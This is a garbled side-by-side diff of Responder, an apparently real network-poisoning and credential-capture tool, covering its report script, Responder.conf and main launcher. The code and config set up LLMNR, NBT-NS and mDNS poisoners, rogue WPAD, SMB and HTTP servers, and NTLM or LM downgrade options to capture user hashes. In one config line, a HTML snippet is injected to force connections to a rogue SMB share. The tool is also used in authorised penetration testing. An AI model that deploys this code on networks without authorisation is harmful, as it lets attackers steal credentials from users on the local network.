cursor = sqlite3.connect("./tools/RunFinger.db")
return cursor
def GetResponderData(cursor): def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder") res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall(): for row in res.fetchall():
@ -43,7 +39,7 @@ def GetResponderData(cursor):
def GetResponderUsernamesStatistic(cursor): def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder") res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall(): for row in res.fetchall():
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)) print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
def GetResponderUsernames(cursor): def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder") res = cursor.execute("SELECT DISTINCT user FROM Responder")
@ -61,33 +57,16 @@ def GetResponderCompleteHash(cursor):
for row in res.fetchall(): for row in res.fetchall():
print('{0}'.format(row[0])) print('{0}'.format(row[0]))
def GetUniqueLookupsIP(cursor):
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
for row in res.fetchall():
if 'fe80::' in row[1]:
pass
else:
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
def GetUniqueLookups(cursor): def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall(): for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3])) print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetUniqueDHCP(cursor):
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
for row in res.fetchall():
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
def GetRunFinger(cursor):
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
for row in res.fetchall():
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
def GetStatisticUniqueLookups(cursor): def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall(): for row in res.fetchall():
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)) print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
def SavePoisonersToDb(result): def SavePoisonersToDb(result):
@ -103,13 +82,8 @@ def SaveToDb(result):
result[k] = '' result[k] = ''
cursor = DbConnect() cursor = DbConnect()
print(color("[+] Generating report...\n", code = 3, modifier = 1)) print(color("[+] Generating report...", code = 3, modifier = 1))
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
GetUniqueDHCP(cursor)
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
GetUniqueLookupsIP(cursor)
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor) GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor) GetStatisticUniqueLookups(cursor)
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)) print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
@ -117,11 +91,5 @@ GetResponderUsernames(cursor)
print(color("\n[+] Username details:", code = 2, modifier = 1)) print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor) GetResponderUsernamesStatistic(cursor)
print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)) #print color("\n[+] Captured hashes:", code = 2, modifier = 1)
cursor.close() #GetResponderCompleteHash(cursor)
try:
cursor = FingerDbConnect()
GetRunFinger(cursor)
except:
pass
print('\n')

60
Responder.conf Executable file → Normal file
View file

@ -1,30 +1,22 @@
[Responder Core] [Responder Core]
; Poisoners to start
MDNS = On
LLMNR = On
NBTNS = On
; Servers to start ; Servers to start
SQL = On SQL = On
SMB = On SMB = On
QUIC = On RDP = On
RDP = On
Kerberos = On Kerberos = On
FTP = On FTP = On
POP = On POP = On
SMTP = On SMTP = On
IMAP = On IMAP = On
HTTP = On HTTP = On
HTTPS = On HTTPS = On
DNS = On DNS = On
LDAP = On LDAP = On
DCERPC = On DCERPC = On
WINRM = On WINRM = On
SNMP = On
MQTT = On
; Custom challenge. ; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default) ; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random Challenge = Random
@ -45,27 +37,21 @@ AnalyzeLog = Analyzer-Session.log
ResponderConfigDump = Config-Responder.log ResponderConfigDump = Config-Responder.log
; Specific IP Addresses to respond to (default = All) ; Specific IP Addresses to respond to (default = All)
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
RespondTo = RespondTo =
; Specific NBT-NS/LLMNR names to respond to (default = All) ; Specific NBT-NS/LLMNR names to respond to (default = All)
; Example: RespondTo = WPAD, DEV, PROD, SQLINT ; Example: RespondTo = WPAD, DEV, PROD, SQLINT
;RespondToName = WPAD, DEV, PROD, SQLINT ;RespondToName = WPAD, DEV, PROD, SQLINT
RespondToName = RespondToName =
; Specific IP Addresses not to respond to (default = None) ; Specific IP Addresses not to respond to (default = None)
; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding. ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
DontRespondTo = DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None) ; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondToName = NAC, IPS, IDS ; Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName = ISATAP DontRespondToName = ISATAP
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
DontRespondToTLD = _dosvc
; If set to On, we will stop answering further requests from a host ; If set to On, we will stop answering further requests from a host
; if a hash has been previously captured for this host. ; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off AutoIgnoreAfterSuccess = Off
@ -75,8 +61,8 @@ AutoIgnoreAfterSuccess = Off
; This may break file serving and is useful only for hash capture ; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = On CaptureMultipleCredentials = On
; If set to On, we will write to file all hashes captured from the same host. ; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; domain\popo, domain\zozo. Recommended value: On, capture everything. ; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On CaptureMultipleHashFromSameHost = On
@ -102,12 +88,12 @@ ExeFilename = ;files/filetoserve.exe
ExeDownloadName = ProxyClient.exe ExeDownloadName = ProxyClient.exe
; Custom WPAD Script ; Custom WPAD Script
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address. WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
WPADScript =
; HTML answer to inject in HTTP responses (before </body> tag). ; HTML answer to inject in HTTP responses (before </body> tag).
; leave empty if you want to use the default one (redirect to SMB on your IP address). ; Set to an empty string to disable.
HTMLToInject = ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
[HTTPS Server] [HTTPS Server]

View file

@ -14,7 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import asyncio
import optparse import optparse
import ssl import ssl
try: try:
@ -26,29 +25,25 @@ from utils import *
import struct import struct
banner() banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False) parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
options, args = parser.parse_args() options, args = parser.parse_args()
if not os.geteuid() == 0: if not os.geteuid() == 0:
@ -58,10 +53,6 @@ elif options.OURIP == None and IsOsX() == True:
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n") print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
exit(-1)
settings.init() settings.init()
settings.Config.populate(options) settings.Config.populate(options)
@ -73,8 +64,6 @@ settings.Config.ExpandIPRanges()
#Create the DB, before we start Responder. #Create the DB, before we start Responder.
CreateResponderDb() CreateResponderDb()
Have_IPv6 = settings.Config.IPv6
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
@ -84,13 +73,10 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
@ -103,13 +89,10 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
TCPServer.server_bind(self) TCPServer.server_bind(self)
@ -122,13 +105,10 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self) TCPServer.server_bind(self)
@ -136,20 +116,12 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
MADDR = "224.0.0.251" MADDR = "224.0.0.251"
MADDR6 = 'ff02::fb'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if (sys.version_info > (3, 0)):
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
@ -157,28 +129,21 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
MADDR = '224.0.0.252' MADDR = "224.0.0.252"
MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
@ -186,68 +151,51 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
pass raise
#pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1 ThreadingUDPServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1 ThreadingUDPMDNSServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1 ThreadingUDPLLMNRServer.allow_reuse_address = 1
if Have_IPv6:
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1 ThreadingTCPServerAuth.allow_reuse_address = 1
if Have_IPv6:
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler): def serve_thread_udp_broadcast(host, port, handler):
try: try:
server = ThreadingUDPServer(('', port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler): def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast('', port, handler) serve_thread_udp_broadcast(host, port, handler)
def serve_MDNS_poisoner(host, port, handler): def serve_MDNS_poisoner(host, port, handler):
try: try:
server = ThreadingUDPMDNSServer(('', port), handler) server = ThreadingUDPMDNSServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler): def serve_LLMNR_poisoner(host, port, handler):
try: try:
server = ThreadingUDPLLMNRServer(('', port), handler) server = ThreadingUDPLLMNRServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler): def serve_thread_udp(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingUDPServer(('', port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingUDPServer(('', port), handler) server = ThreadingUDPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@ -255,10 +203,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler): def serve_thread_tcp(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServer(('', port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServer(('', port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@ -266,10 +214,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler): def serve_thread_tcp_auth(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServerAuth(('', port), handler) server = ThreadingTCPServerAuth((host, port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServerAuth(('', port), handler) server = ThreadingTCPServerAuth((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@ -279,46 +227,33 @@ def serve_thread_SSL(host, port, handler):
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServer(('', port), handler) server = ThreadingTCPServer((host, port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServer(('', port), handler) server = ThreadingTCPServer((host, port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
def main(): def main():
try: try:
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = [] threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners # Load (M)DNS, NBNS and LLMNR Poisoners
if settings.Config.LLMNR_On_Off: from poisoners.LLMNR import LLMNR
from poisoners.LLMNR import LLMNR from poisoners.NBTNS import NBTNS
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.NBTNS_On_Off:
from poisoners.NBTNS import NBTNS
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.MDNS_On_Off:
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
#// Vintage Responder BOWSER module, now disabled by default.
#// Generate to much noise & easily detectable on the network when in analyze mode.
